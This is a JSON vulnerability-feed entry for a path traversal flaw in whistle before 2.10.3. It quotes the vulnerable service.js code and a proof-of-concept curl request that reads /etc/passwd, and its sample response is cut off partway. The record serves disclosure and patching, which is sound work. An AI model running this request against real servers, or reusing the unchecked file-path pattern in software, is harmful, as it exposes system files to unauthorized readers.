{"items":[{"id":"NVI-00016341","kind":"vulnerability","title":"Whistle vulnerable to path traversal","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-3vfr-4gwf-qxfp","CVE-2026-55629"],"plain_summary":"GitHub lists this reviewed advisory for whistle. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-697303300ec1b5bb9a8bdb1b01bb570d"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-697303300ec1b5bb9a8bdb1b01bb570d","url":"https://github.com/advisories/GHSA-3vfr-4gwf-qxfp","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-3vfr-4gwf-qxfp","publisher":"GitHub Advisory Database","observed_at":"2026-11-02T09:56:37.775Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-697303300ec1b5bb9a8bdb1b01bb570d"],"technology":"whistle","known_exclusions":[],"conditions_summary":"This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get('/cgi-bin/temp/get', ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n  filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting.  Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1             localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232","public_affected_ranges":["< 2.10.3"]}],"null_published_at":"2026-11-04T10:04:27.934Z","source_updated_at":"2026-08-25T18:32:08.000Z","source_disclosed_at":"2026-08-25T18:32:06.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-11-02T09:56:37.775Z"}],"next_cursor":null,"snapshot_revision":"42594"}